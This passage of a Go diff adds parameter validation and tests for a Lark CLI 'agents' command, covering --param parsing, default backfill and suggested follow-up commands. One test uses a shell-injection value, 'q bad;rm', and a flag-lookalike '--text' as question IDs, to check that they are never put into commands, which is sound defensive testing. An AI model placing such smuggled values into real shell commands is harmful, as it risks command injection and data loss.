+				{QuestionID: "q2_a8", Question: "时间?"},
+				{QuestionID: "q3_a8", Question: "区域?", MultiSelect: true, Options: []iagents.Option{{OptionID: "east", Label: "华东"}}},
+			},
+		},
+	}, nil, nil, iagents.VerbSend)
+	if len(group) != 1 || !group[0].Template {
+		t.Fatalf("question-group next must be one template action, got %+v", group)
+	}
+	for _, want := range []string{
+		"--answer q1_a8=<option_id>",
+		"--answer q2_a8.text=<文本>",
+		"--answer q3_a8=<option_id 多选可重复>",
+		"--task-id task_1",
+	} {
+		if !strings.Contains(group[0].Command, want) {
+			t.Errorf("question-group command should contain %q, got %q", want, group[0].Command)
+		}
+	}
+	if !strings.Contains(group[0].Label, "转达给用户") {
+		t.Errorf("label must be relay-first wording, got %q", group[0].Label)
+	}
+	// A question_id with shell metacharacters must NOT be interpolated → the
+	// whole group falls back to the --text continuation.
+	badID := nextForTask("example:planner", &iagents.AgentTask{
+		TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Questions: []iagents.Question{{QuestionID: "q bad;rm", Question: "x"}},
+		},
+	}, nil, nil, iagents.VerbSend)
+	if len(badID) != 1 || strings.Contains(badID[0].Command, "--answer") || !strings.Contains(badID[0].Command, "--text") {
+		t.Errorf("a whitelist-failing question_id should fall back to the --text form, got %+v", badID)
+	}
+	// A flag-lookalike question_id ("--text" passes a bare charset test but not
+	// the alphanumeric-first rule) must likewise never be interpolated.
+	flagLike := nextForTask("example:planner", &iagents.AgentTask{
+		TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Questions: []iagents.Question{{QuestionID: "--text", Question: "x"}},
+		},
+	}, nil, nil, iagents.VerbSend)
+	if len(flagLike) != 1 || strings.Contains(flagLike[0].Command, "--answer") {
+		t.Errorf("a flag-lookalike question_id must fall back, got %+v", flagLike)
+	}
+}
+
+func TestNextForTaskDoesNotSuggestStructuredAnswerWhenCapabilityIsDisabled(t *testing.T) {
+	next := nextForTask("base:assistant", &iagents.AgentTask{
+		TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Questions: []iagents.Question{{
+				QuestionID: "q_scene",
+				Question:   "请选择场景",
+				Options:    []iagents.Option{{OptionID: "opt_create", Label: "新建"}},
+			}},
+		},
+	}, &iagents.AgentSpec{InputRequired: false}, nil, iagents.VerbTaskGet)
+	if len(next) != 1 || !strings.Contains(next[0].Command, "--text <你的答复>") || strings.Contains(next[0].Command, "--answer") {
+		t.Fatalf("disabled structured input must fall back to text continuation, got %+v", next)
+	}
+}
+
+// TestNextForTaskTemplateFlag pins the template marker semantics: the
+// input_required continue hint carries a <你的答复> placeholder, so it must be
+// marked template=true (not directly executable); poll and terminal-detail
+// hints are verbatim-executable and must not carry the marker.
+func TestNextForTaskTemplateFlag(t *testing.T) {
+	// input_required with a known context: placeholder in --text → template.
+	cont := nextForTask("example:agent_x", &iagents.AgentTask{
+		TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateInputRequired,
+	}, nil, nil, iagents.VerbSend)
+	if len(cont) != 1 || !cont[0].Template {
+		t.Fatalf("input_required next must be template=true, got %+v", cont)
+	}
+	// input_required without a context id: <context_id> placeholder → template.
+	contNoCtx := nextForTask("example:agent_x", &iagents.AgentTask{
+		TaskID: "chat_1", State: iagents.StateInputRequired,
+	}, nil, nil, iagents.VerbSend)
+	if len(contNoCtx) != 1 || !contNoCtx[0].Template {
+		t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
+	}
+	// Poll and terminal-detail hints are directly executable → no template flag.
+	for _, task := range []*iagents.AgentTask{
+		{TaskID: "chat_1", State: iagents.StateWorking},
+		{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true},
+	} {
+		next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
+		if len(next) != 1 || next[0].Template {
+			t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
+		}
+	}
+}

cmd/agents/params.go

@@ -0,0 +1,505 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// This file is the per-verb business-parameter engine: --param k=v parsing,
+// collect-all validation against one operation's declared set (every violation
+// reported in one pass, each self-contained enough to fix without a discovery
+// round-trip), default backfill, and the meta.next carry rule.
+
+package agents
+
+import (
+	"encoding/json"
+	"errors"
+	"fmt"
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// flatParams expands declarations to value-bearing leaves: scalars keep their
+// name, an object contributes one leaf per Field under "obj.field" dotted
+// names (leaf attributes rule). The object entry itself is NOT value-bearing
+// and is excluded. Order is declaration order (meta.next determinism).
+func flatParams(declared []iagents.CardParam) []iagents.CardParam {
+	out := make([]iagents.CardParam, 0, len(declared))
+	for _, cp := range declared {
+		if cp.Type == "object" {
+			for _, f := range cp.Fields {
+				leaf := f
+				leaf.Name = cp.Name + "." + f.Name
+				out = append(out, leaf)
+			}
+			continue
+		}
+		out = append(out, cp)
+	}
+	return out
+}
+
+// objectDecls indexes the top-level object params by name.
+func objectDecls(declared []iagents.CardParam) map[string]iagents.CardParam {
+	out := map[string]iagents.CardParam{}
+	for _, cp := range declared {
+		if cp.Type == "object" {
+			out[cp.Name] = cp
+		}
+	}
+	return out
+}
+
+// validatedParams is the engine's product: Resolved is what the runtime hands
+// to the provider hook (defaults backfilled); Given is only what the caller
+// explicitly provided (no defaults) — the meta.next carry rule reads Given so
+// backfilled defaults never turn into command-line noise.
+type validatedParams struct {
+	Resolved map[string]string
+	Given    map[string]string
+}
+
+// addParamFlag registers the shared --param flag on a leaf (two-line helper,
+// same style as addAsFlag).
+func addParamFlag(cmd *cobra.Command, params *[]string) {
+	cmd.Flags().StringArrayVar(params, "param", nil, "业务参数 key=value，可重复（各命令所需参数见 lark-cli agents card <agent_ref> --operation <verb>）")
+}
+
+// validateParams parses --param pairs and validates them against ONE
+// operation's declared parameter set, collecting ALL violations into a single
+// typed invalid_argument error (exit 2). spec is used for the cross-operation
+// reverse lookup on unknown keys ("它声明在: send") and may be nil (agents list
+// path). Passing validation backfills declaration defaults into Resolved.
+func validateParams(kvs []string, declared []iagents.CardParam, verb string, spec *iagents.AgentSpec, ref string) (validatedParams, error) {
+	// decl indexes the value-bearing leaves: scalars by name, object fields by
+	// dotted "obj.field" names — the canonical flat form every downstream
+	// consumer (Resolved, meta.next, rt.Params()) speaks.
+	leaves := flatParams(declared)
+	decl := make(map[string]iagents.CardParam, len(leaves))
+	for _, p := range leaves {
+		decl[p.Name] = p
+	}
+	objects := objectDecls(declared)
+
+	// seen 记录“这个 key 在 argv 里出现过”（重复检测 + 抑制误报的 missing-
+	// required 都看它）；given 只收录通过校验的值（Resolved/meta.next 都看它）。
+	// 两张表必须分开：值校验失败的 key 若不进 seen，重复提供会漏报、缺必填会误报
+	// （参数明明给了、只是值不对，再报一条“缺少必填”是自相矛盾的指令）。
+	// objChannel 记录每个对象走的通道（dotted|json），同一对象混用两通道报错，
+	// 不做静默合并。
+	seen := map[string]bool{}
+	given := map[string]string{}
+	objChannel := map[string]string{}
+	var viols []errs.InvalidParam
+
+	addViol := func(name, reason string, spec *iagents.CardParam, suggestions ...string) {
+		v := errs.InvalidParam{Name: name, Reason: reason, Suggestions: suggestions}
+		if spec != nil {
+			v.Spec = *spec
+		}
+		viols = append(viols, v)
+	}
+
+	// ── parse + per-key checks（一次收集全部）──
+	for _, kv := range kvs {
+		k, val, ok := strings.Cut(kv, "=")
+		if !ok || k == "" {
+			addViol(kv, fmt.Sprintf("--param 格式应为 key=value，得到 %q", kv), nil)
+			continue
+		}
+		if seen[k] {
+			addViol(k, fmt.Sprintf("参数 %s 重复提供（该参数不可重复）", k), nil)
+			continue
+		}
+		seen[k] = true
+
+		// ── 对象的 JSON 整值通道：key 恰是对象名 ──
+		if obj, isObj := objects[k]; isObj {
+			if objChannel[k] == "dotted" {
+				addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供（同一对象只能选一种通道）", k), nil)
+				continue
+			}
+			objChannel[k] = "json"
+			validateObjectJSON(k, val, obj, verb, seen, given, addViol)
+			continue
+		}
+
+		// ── 点路径通道：key 带 "."，指向对象的某个叶子 ──
+		if top, leaf, dotted := strings.Cut(k, "."); dotted {
+			obj, isObj := objects[top]
+			if !isObj {
+				reason, sugg := unknownParamReason(k, verb, leaves, spec)
+				addViol(k, reason, nil, sugg...)
+				continue
+			}
+			if objChannel[top] == "json" {
+				addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供（同一对象只能选一种通道）", top), nil)
+				continue
+			}
+			objChannel[top] = "dotted"
+			cp, known := decl[k]
+			if !known {
+				addViol(k, fmt.Sprintf("未知参数 %s（%s 可用字段: %s）", k, top, fieldNames(obj)), nil, dottedFieldNames(obj)...)
+				continue
+			}
+			_ = leaf
+			if val == "" {
+				if cp.Required {
+					addViol(k, fmt.Sprintf("必填参数 %s 不能为空值（%s 必填）", k, verb), &cp)
+				}
+				continue
+			}
+			if err := iagents.ValidateValue(cp, val); err != nil {
+				addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
+				continue
+			}
+			given[k] = canonicalValue(cp, val)
+			continue
+		}
+
+		cp, known := decl[k]
+		if !known {
+			reason, sugg := unknownParamReason(k, verb, leaves, spec)
+			addViol(k, reason, nil, sugg...)
+			continue
+		}
+		if val == "" {
+			// `k=` 空值统一按“未提供”处理（不进 given ⇒ 不遮蔽 Default 回填、
+			// 不把未过 Type/Enum/Range 校验的 "" 交给 hook——rt.Params() 契约）。
+			// 必填参数额外报专属违规；可选参数省略即得默认值，无需报错。
+			if cp.Required {
+				addViol(k, fmt.Sprintf("必填参数 %s 不能为空值（%s 必填）", k, verb), &cp)
+			}
+			continue
+		}
+		if err := iagents.ValidateValue(cp, val); err != nil {
+			addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
+			continue
+		}
+		given[k] = canonicalValue(cp, val)
+	}
+
+	// ── missing required（对着平铺声明反查；argv 里出现过的 key 不再重复报——
+	// 它要么已通过、要么已带着更精确的违规）──
+	for _, cp := range leaves {
+		if !cp.Required || seen[cp.Name] {
+			continue
+		}
+		c := cp
+		addViol(cp.Name, fmt.Sprintf("缺少必填参数 %s（%s 必填）", cp.Name, verb), &c)
+	}
+
+	if len(viols) > 0 {
+		return validatedParams{}, paramsError(viols, verb, ref)
+	}
+
+	// ── default 回填（只作用于完全缺席的键）──
+	resolved := make(map[string]string, len(given))
+	for k, v := range given {
+		resolved[k] = v
+	}
+	for _, cp := range leaves {
+		if cp.Default == "" {
+			continue
+		}
+		if _, ok := resolved[cp.Name]; !ok {
+			resolved[cp.Name] = cp.Default
+		}
+	}
+	return validatedParams{Resolved: resolved, Given: given}, nil
+}
+
+// validateObjectJSON is the JSON fallback channel: parse the value as a JSON
+// object, validate each member against the declared Fields with the SAME leaf
+// rules as the dotted channel, and normalize accepted members into flat dotted
+// keys — a provider never sees which channel the caller used. Numbers decode
+// via json.Number so "100" stays "100" (no float re-rendering).
+func validateObjectJSON(name, val string, obj iagents.CardParam, verb string, seen map[string]bool, given map[string]string, addViol func(string, string, *iagents.CardParam, ...string)) {
+	if val == "" {
+		return // `obj=` 空值 = 未提供（与标量语义一致）
+	}
+	dec := json.NewDecoder(strings.NewReader(val))
+	dec.UseNumber()
+	var anyVal any
+	if err := dec.Decode(&anyVal); err != nil {
+		addViol(name, fmt.Sprintf("参数 %s 的 JSON 无法解析（%v）；也可用点路径逐字段传：--param %s.<field>=<value>", name, err, name), nil)
+		return
+	}
+	raw, isObj := anyVal.(map[string]any)
+	if !isObj {
+		// 语法合法但不是对象（数组/字符串/数字/布尔/null）——用调用方词汇描述，
+		// 不泄漏 Go 反序列化的内部类型文案。
+		addViol(name, fmt.Sprintf(`参数 %s 需为 JSON 对象（如 {"k":"v"}），得到 %s；也可用点路径逐字段传：--param %s.<field>=<value>`, name, jsonKindName(anyVal), name), nil)
+		return
+	}
+	fields := map[string]iagents.CardParam{}
+	for _, f := range obj.Fields {
+		fields[f.Name] = f
+	}
+	for fk, fv := range raw {
+		full := name + "." + fk
+		seen[full] = true
+		cp, ok := fields[fk]
+		if !ok {
+			addViol(full, fmt.Sprintf("未知参数 %s（%s 可用字段: %s）", full, name, fieldNames(obj)), nil, obj.FieldNamesList()...)
+			continue
+		}
+		var sval string
+		switch tv := fv.(type) {
+		case string:
+			sval = tv
+		case json.Number:
+			sval = tv.String()
+		case bool:
+			sval = strconv.FormatBool(tv)
+		case nil:
+			continue // null = 未提供
+		default:
+			addViol(full, fmt.Sprintf("参数 %s 不支持嵌套结构（对象字段只能是标量）", full), &cp)
+			continue
+		}
+		if sval == "" {
+			if cp.Required {
+				c := cp
+				c.Name = fk
+				addViol(full, fmt.Sprintf("必填参数 %s 不能为空值（%s 必填）", full, verb), &c)
+			}
+			continue
+		}
+		if err := iagents.ValidateValue(cp, sval); err != nil {
+			c := cp
+			addViol(full, fmt.Sprintf("参数 %s %s", full, err.Error()), &c, cp.Enum...)
+			continue
+		}
+		given[full] = canonicalValue(cp, sval)
+	}
+}
+
+// fieldNames renders an object's field list for teaching errors.
+func fieldNames(obj iagents.CardParam) string {
+	return strings.Join(obj.FieldNamesList(), ", ")
+}
+
+// unknownParamReason builds the teaching sentence for an undeclared key: if
+// another operation of the same spec declares it, name those operations（改动
+// 词就能修）；otherwise list this operation's own parameter set（改拼写就能修）.
+func unknownParamReason(key, verb string, declared []iagents.CardParam, spec *iagents.AgentSpec) (string, []string) {
+	if spec != nil {
+		var elsewhere []string
+		for _, o := range spec.Ops() {
+			if o.Verb == verb || !o.Wired {
+				continue
+			}
+			for _, p := range flatParams(o.Params) {
+				if p.Name == key {
+					elsewhere = append(elsewhere, o.Verb)
+					break
+				}
+			}
+		}
+		if len(elsewhere) > 0 {
+			sort.Strings(elsewhere)
+			// suggestions 保持单一语义（可直接替换的参数名候选）：动词名不是参数，
+			// 不进 suggestions——「声明在: X」的教学已在 reason 里。
+			return fmt.Sprintf("参数 %s 不适用于 %s（它声明在: %s）", key, verb, strings.Join(elsewhere, ", ")), nil
+		}
+	}
+	known := make([]string, 0, len(declared))
+	for _, p := range declared {
+		known = append(known, p.Name)
+	}
+	if len(known) == 0 {
+		return fmt.Sprintf("未知参数 %s（%s 不接受任何业务参数）", key, verb), nil
+	}
+	// suggestions 按编辑距离给「可直接替换」的近似候选（typo 一步可修）；
+	// 没有近似命中时退回声明序全集。message 始终列全集（发现面完整）。
+	sugg := nearestNames(key, known, 2)
+	if len(sugg) == 0 {
+		sugg = known
+	}
+	return fmt.Sprintf("未知参数 %s（%s 可用参数: %s）", key, verb, strings.Join(known, ", ")), sugg
+}
+
+// nearestNames returns the candidates within maxDist Levenshtein distance of
+// key, nearest first (stable for ties by candidate order).
+func nearestNames(key string, candidates []string, maxDist int) []string {
+	type scored struct {
+		name string
+		d    int
+	}
+	var hits []scored
+	for _, c := range candidates {
+		if d := levenshtein(key, c); d <= maxDist {
+			hits = append(hits, scored{c, d})
+		}
+	}
+	sort.SliceStable(hits, func(i, j int) bool { return hits[i].d < hits[j].d })
+	out := make([]string, 0, len(hits))
+	for _, h := range hits {
+		out = append(out, h.name)
+	}
+	return out
+}
+
+// levenshtein is the classic two-row edit distance over runes.
+func levenshtein(a, b string) int {
+	ra, rb := []rune(a), []rune(b)
+	prev := make([]int, len(rb)+1)
+	cur := make([]int, len(rb)+1)
+	for j := range prev {
+		prev[j] = j
+	}
+	for i := 1; i <= len(ra); i++ {
+		cur[0] = i
+		for j := 1; j <= len(rb); j++ {
+			cost := 1
+			if ra[i-1] == rb[j-1] {
+				cost = 0
+			}
+			cur[j] = min(min(cur[j-1]+1, prev[j]+1), prev[j-1]+cost)
+		}
+		prev, cur = cur, prev
+	}
+	return prev[len(rb)]
+}
+
+func min(a, b int) int {
+	if a < b {
+		return a
+	}
+	return b
+}
+
+// jsonKindName names a decoded JSON value's kind in caller vocabulary.
+func jsonKindName(v any) string {
+	switch v.(type) {
+	case []any:
+		return "数组"
+	case string:
+		return "字符串"
+	case json.Number:
+		return "数字"
+	case bool:
+		return "布尔值"
+	case nil:
+		return "null"
+	default:
+		return "非对象值"
+	}
+}
+
+// canonicalValue normalizes an ACCEPTED scalar to its canonical wire form so a
+// provider receives one deterministic literal regardless of the input variant
+// or channel: boolean TRUE/1/t → true|false, integer +5/04 → 5/4. The JSON
+// channel already produces canonical literals for native types; this closes
+// the dotted-path (and JSON string-member) variants to the same form. Values
+// that reach here have passed ValidateValue, so parse errors are impossible;
+// the input is returned unchanged as a defensive fallback.
+func canonicalValue(cp iagents.CardParam, val string) string {
+	switch cp.Type {
+	case "boolean":
+		if b, err := strconv.ParseBool(val); err == nil {
+			return strconv.FormatBool(b)
+		}
+	case "integer":
+		if n, err := strconv.ParseInt(val, 10, 64); err == nil {
+			return strconv.FormatInt(n, 10)
+		}
+	case "number":
+		if f, err := strconv.ParseFloat(val, 64); err == nil {
+			return strconv.FormatFloat(f, 'g', -1, 64)
+		}
+	}
+	return val
+}
+
+// dottedFieldNames returns an object's field names in their full dotted form
+// (directly substitutable --param keys).
+func dottedFieldNames(obj iagents.CardParam) []string {
+	out := make([]string, 0, len(obj.Fields))
+	for _, f := range obj.Fields {
+		out = append(out, obj.Name+"."+f.Name)
+	}
+	return out
+}
+
+// paramsError folds collected violations into one typed error: a single
+// violation keeps its sentence as the message (continuity with the old
+// one-error style); several get a count summary, with every violation carried
+// structurally in params[].
+func paramsError(viols []errs.InvalidParam, verb, ref string) error {
+	msg := viols[0].Reason
+	if len(viols) > 1 {
+		msg = fmt.Sprintf("%s 参数校验失败：%d 处问题（详见 params）", verb, len(viols))
+	}
+	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", msg).
+		WithParam("param:" + viols[0].Name).
+		WithParams(viols...)
+	return e.WithHint("%s", opHint(ref, verb))
+}
+
+// validateListParams is the `agents list <scheme>` variant of validateParams:
+// list is a provider-level operation with no agent_ref yet, so there is no
+// spec for cross-operation reverse lookup, and the discovery hint points at
+// the provider listing's list_parameters instead of an agent card.
+func validateListParams(kvs []string, declared []iagents.CardParam, scheme string) (validatedParams, error) {
+	vp, err := validateParams(kvs, declared, "list", nil, "")
+	if err != nil {
+		var verr *errs.ValidationError
+		if errors.As(err, &verr) {
+			verr.Hint = fmt.Sprintf("按 params 逐条修正后重发；agents list %s 的可用参数见 lark-cli agents list 输出的 providers[].list_parameters", scheme)
+		}
+		return validatedParams{}, err
+	}
+	return vp, nil
+}
+
+// opHint is the operation-scoped discovery hint（ref 过白名单才内插命令）.
+func opHint(ref, verb string) string {
+	if safeNextRef(ref) {
+		return fmt.Sprintf("按 params 逐条修正后重发；或运行 lark-cli agents card %s --operation %s 查看参数声明", ref, verb)
+	}
+	return "按 params 逐条修正后重发；或用 agents card 的 --operation 子查询查看参数声明"
+}
+
+// paramArgsFor renders the meta.next carry for target verb V per the
+// three-way rule, in declaration order:
+//  1. given + value passes the whitelist → carry literally;
+//  2. given + value fails the whitelist → required degrades to a placeholder
+//     (template), optional is dropped（宁缺毋歧义）;
+//  3. absent but required on V → placeholder (template) — the cross-verb hole:
+//     without this, "链上不丢必填" only holds when the previous verb happened
+//     to share the parameter.
+//
+// Defaults are NOT carried (the next hop deterministically re-backfills).
+func paramArgsFor(spec *iagents.AgentSpec, verb string, given map[string]string) (args string, templated bool) {
+	if spec == nil {
+		return "", false
+	}
+	op, ok := spec.Op(verb)
+	if !ok {
+		return "", false
+	}
+	var b strings.Builder
+	for _, p := range flatParams(op.Params) {
+		v, has := given[p.Name]
+		switch {
+		case p.NoCarry:
+			// 每次调用应给新值的参数：给过也不字面上链；必填的降级占位，提醒
+			// 调用方填一个新值（而不是复用上一次的）。
+			if p.Required {
+				fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
+				templated = true
+			}
+		case has && v != "" && safeNextID(v):
+			fmt.Fprintf(&b, " --param %s=%s", p.Name, v)
+		case p.Required:
+			fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
+			templated = true
+		}
+	}
+	return b.String(), templated
+}

cmd/agents/params_test.go

@@ -0,0 +1,682 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"reflect"
+	"strings"
+	"testing"
+
+	baseprovider "github.com/larksuite/cli/agents/base"
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// paramSpec builds a spec with a send declaration (required ws + enum/default
+// priority + ranged integer) and a task_list declaration sharing ws — the
+// cross-operation reverse-lookup and three-way-carry test bed.
+func paramSpec() *iagents.AgentSpec {
+	ws := iagents.CardParam{Name: "workspace_id", Type: "string", Required: true, Desc: "目标工作区"}
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{
+			Params: []iagents.CardParam{
+				ws,
+				{Name: "priority", Type: "string", Enum: []string{"low", "normal", "high"}, Default: "normal"},
+				{Name: "max_results", Type: "integer", Min: iagents.Float(1), Max: iagents.Float(100), Default: "20"},
+			},
+			Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
+		},
+		GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
+		ListTasks: iagents.TaskListOp{
+			Params: []iagents.CardParam{ws},
+			Handler: func(context.Context, iagents.Runtime, string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
+				return nil, iagents.PageInfo{}, nil
+			},
+		},
+	}
+}
+
+// TestValidateParams_CollectAll pins the batch contract: every violation in ONE
+// error — two missing requireds are impossible on one decl set, so mix missing
+// required + unknown key + enum violation and assert all three violations
+// surface with self-contained specs.
+func TestValidateParams_CollectAll(t *testing.T) {
+	spec := paramSpec()
+	_, err := validateParams(
+		[]string{"priority=urgent", "bogus=1"},
+		spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil {
+		t.Fatal("should fail with collected violations")
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatalf("want *errs.ValidationError, got %T", err)
+	}
+	if len(verr.Params) != 3 {
+		t.Fatalf("want 3 violations (enum + unknown + missing required), got %d: %+v", len(verr.Params), verr.Params)
+	}
+	byName := map[string]errs.InvalidParam{}
+	for _, v := range verr.Params {
+		byName[v.Name] = v
+	}
+	// enum violation lists the full set and embeds the spec
+	if v := byName["priority"]; !strings.Contains(v.Reason, "low|normal|high") || v.Spec == nil {
+		t.Errorf("priority violation should list the enum set and embed spec, got %+v", v)
+	}
+	// unknown key lists this operation's available params
+	if v := byName["bogus"]; !strings.Contains(v.Reason, "workspace_id") {
+		t.Errorf("unknown-key violation should list available params, got %+v", v)
+	}
+	// missing required embeds the full declaration so the caller can fix without
+	// a discovery round-trip
+	v := byName["workspace_id"]
+	if !strings.Contains(v.Reason, "缺少必填参数") || v.Spec == nil {
+		t.Fatalf("missing-required violation should embed spec, got %+v", v)
+	}
+	if sp, ok := v.Spec.(iagents.CardParam); !ok || sp.Desc != "目标工作区" {
+		t.Errorf("embedded spec should be the full CardParam, got %+v", v.Spec)
+	}
+	// multi-violation message is a count summary; hint points at --operation
+	if !strings.Contains(verr.Message, "3 处问题") {
+		t.Errorf("multi-violation message should carry the count, got %q", verr.Message)
+	}
+	if !strings.Contains(verr.Hint, "--operation send") {
+		t.Errorf("hint should point at card --operation send, got %q", verr.Hint)
+	}
+}
+
+func TestBaseTaskGetAcceptsContextID(t *testing.T) {
+	provider := baseprovider.Provider()
+	if len(provider.Catalog) != 1 {
+		t.Fatalf("base catalog=%d", len(provider.Catalog))
+	}
+	spec := &provider.Catalog[0]
+	got, err := validateParams(
+		[]string{"base_token=b1", "context_id=7663083417936891420"},
+		spec.GetTask.Params,
+		iagents.VerbTaskGet,
+		spec,
+		"base:assistant",
+	)
+	if err != nil {
+		t.Fatalf("task_get context_id should pass provider parameter validation: %v", err)
+	}
+	want := map[string]string{"base_token": "b1", "context_id": "7663083417936891420"}
+	if !reflect.DeepEqual(got.Resolved, want) {
+		t.Fatalf("resolved=%v want %v", got.Resolved, want)
+	}
+}
+
+// TestValidateParams_CrossOpReverseLookup pins the "它声明在" teaching error: a
+// param declared on send but passed to task_get names where it lives.
+func TestValidateParams_CrossOpReverseLookup(t *testing.T) {
+	spec := paramSpec()
+	_, err := validateParams([]string{"priority=high"}, spec.GetTask.Params, iagents.VerbTaskGet, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error(), "不适用于 task_get") || !strings.Contains(err.Error(), "它声明在: send") {
+		t.Fatalf("cross-op teaching error expected, got %v", err)
+	}
+}
+
+// TestValidateParams_RulesTable covers the remaining violation kinds one by one.
+func TestValidateParams_RulesTable(t *testing.T) {
+	spec := paramSpec()
+	base := []string{"workspace_id=ws_42"}
+	cases := []struct {
+		name string
+		kvs  []string
+		want string
+	}{
+		{"duplicate", append(base, "workspace_id=ws_43"), "重复提供"},
+		{"empty required", []string{"workspace_id="}, "不能为空值"},
+		{"malformed", append(base, "noequals"), "key=value"},
+		{"type mismatch", append(base, "max_results=abc"), "integer"},
+		{"range violation", append(base, "max_results=500"), "1..100"},
+		{"zero-param op given a param", nil, ""},
+	}
+	for _, tc := range cases[:5] {
+		t.Run(tc.name, func(t *testing.T) {
+			_, err := validateParams(tc.kvs, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+			if err == nil || !strings.Contains(err.Error()+errHint(err), tc.want) {
+				t.Fatalf("want %q in error, got %v", tc.want, err)
+			}
+		})
+	}
+	// value containing '=' splits on the first '=' only
+	vp, err := validateParams(append(base, "priority=high"), spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil || vp.Given["workspace_id"] != "ws_42" {
+		t.Fatalf("valid set should pass: %v %v", vp, err)
+	}
+}
+
+// TestValidateParams_EmptyOptionalTreatedAsAbsent pins the review fix (blocker):
+// `k=` on an OPTIONAL param counts as not provided — no violation, no entry in
+// Given, and the declared Default still backfills Resolved, so no unvalidated
+// "" can ever reach a hook (the rt.Params() contract).
+func TestValidateParams_EmptyOptionalTreatedAsAbsent(t *testing.T) {
+	spec := paramSpec()
+	vp, err := validateParams([]string{"workspace_id=ws_42", "max_results="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("empty optional should not violate: %v", err)
+	}
+	if got := vp.Resolved["max_results"]; got != "20" {
+		t.Errorf("empty optional must not shadow the default (backfill still applies), got %q", got)
+	}
+	if _, ok := vp.Given["max_results"]; ok {
+		t.Errorf("empty optional must not enter Given, got %v", vp.Given)
+	}
+	// empty on a declared optional with default: default wins in Resolved
+	vp2, err := validateParams([]string{"workspace_id=ws_42", "priority="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err != nil {
+		t.Fatalf("empty optional should not violate: %v", err)
+	}
+	if vp2.Resolved["priority"] != "normal" {
+		t.Errorf("empty optional must not shadow the default, got %q", vp2.Resolved["priority"])
+	}
+	// duplicate detection still sees the empty occurrence
+	_, err = validateParams([]string{"workspace_id=ws_42", "priority=", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
+	if err == nil || !strings.Contains(err.Error()+errHint(err), "重复提供") {
+		t.Fatalf("duplicate after empty occurrence must be reported, got %v", err)
+	}
+}
+
+// TestValidateParams_NoFalseMissingOnInvalidValue pins the review fix: a
+// required param given an INVALID value reports exactly the value violation —
+// never an additional contradictory "缺少必填参数"; and a duplicate after an
+// invalid first value is reported as duplicate, not as the same violation twice.
+func TestValidateParams_NoFalseMissingOnInvalidValue(t *testing.T) {
+	spec := paramSpec()
+	// make workspace_id enum-constrained for this test via a local declaration
+	decl := []iagents.CardParam{{Name: "mode", Type: "string", Required: true, Enum: []string{"a", "b"}}}
+	_, err := validateParams([]string{"mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	if len(verr.Params) != 1 {
+		t.Fatalf("invalid value must yield exactly 1 violation (no false missing-required), got %d: %+v", len(verr.Params), verr.Params)
+	}
+	if !strings.Contains(verr.Params[0].Reason, "a|b") {
+		t.Errorf("the one violation should be the enum violation, got %+v", verr.Params[0])
+	}
+	// duplicate after invalid first value → enum violation + duplicate violation
+	_, err = validateParams([]string{"mode=zzz", "mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
+	if !errors.As(err, &verr) {
+		t.Fatalf("want validation error, got %T", err)
+	}
+	if len(verr.Params) != 2 {
+		t.Fatalf("want enum violation + duplicate violation, got %d: %+v", len(verr.Params), verr.Params)
+	}
+	kinds := verr.Params[0].Reason + verr.Params[1].Reason
+	if !strings.Contains(kinds, "a|b") || !strings.Contains(kinds, "重复提供") {
+		t.Errorf("want one enum + one duplicate violation, got %+v", verr.Params)
+	}
+}
+
+// objSpec is the object-param test bed: send declares a filter object
+// (required enum leaf + optional ranged leaf + defaulted bool leaf) and a
+// NoCarry trace param shared with task_get.
+func objSpec() *iagents.AgentSpec {
+	trace := iagents.CardParam{Name: "trace_tag", NoCarry: true, Required: true, Desc: "调用链标记（每次新值）"}
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{
+			Params: []iagents.CardParam{
+				trace,
